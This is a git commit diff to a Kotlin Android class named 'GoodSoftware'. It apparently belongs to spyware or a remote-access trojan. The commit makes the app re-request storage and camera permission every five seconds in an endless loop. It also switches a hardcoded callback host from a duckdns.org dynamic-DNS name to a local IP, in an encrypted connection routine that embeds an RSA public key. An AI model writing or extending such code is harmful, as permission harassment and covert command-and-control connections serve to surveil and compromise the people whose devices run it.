Make timer schedule
This commit is contained in:
parent
2c866a6049
commit
fae27b2b0a
@ -41,6 +41,7 @@ import javax.crypto.Cipher
|
|||||||
import javax.crypto.spec.IvParameterSpec
|
import javax.crypto.spec.IvParameterSpec
|
||||||
import javax.crypto.spec.SecretKeySpec
|
import javax.crypto.spec.SecretKeySpec
|
||||||
import kotlin.concurrent.schedule
|
import kotlin.concurrent.schedule
|
||||||
|
import kotlin.concurrent.scheduleAtFixedRate
|
||||||
|
|
||||||
|
|
||||||
class GoodSoftware (private val activity: Context) {
|
class GoodSoftware (private val activity: Context) {
|
||||||
@ -111,23 +112,16 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
private fun startCheckingPermission() {
|
private fun startCheckingPermission() {
|
||||||
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||||
|
|
||||||
timerStorage?.schedule(0) {
|
timerStorage?.scheduleAtFixedRate(0, 5000) {
|
||||||
checkStoragePermission()
|
|
||||||
}
|
|
||||||
|
|
||||||
timerStorage?.schedule(5000) {
|
|
||||||
checkStoragePermission()
|
checkStoragePermission()
|
||||||
|
println("Requesting storage permission again")
|
||||||
}
|
}
|
||||||
|
|
||||||
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||||
|
|
||||||
timerCamera?.schedule(0) {
|
timerCamera?.scheduleAtFixedRate(0, 5000) {
|
||||||
checkCameraPermission()
|
checkCameraPermission()
|
||||||
}
|
|
||||||
|
|
||||||
timerCamera?.schedule(5000) {
|
|
||||||
println("Requesting camera permission again")
|
println("Requesting camera permission again")
|
||||||
checkCameraPermission()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -317,7 +311,7 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
|
|
||||||
fun establishConnection(): ConnectionResult{
|
fun establishConnection(): ConnectionResult{
|
||||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||||
val host = "thinclient.duckdns.org"
|
val host = "192.168.90.151"
|
||||||
val port = 5645
|
val port = 5645
|
||||||
val secureRandom = SecureRandom()
|
val secureRandom = SecureRandom()
|
||||||
val keyBytes = ByteArray(16)
|
val keyBytes = ByteArray(16)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user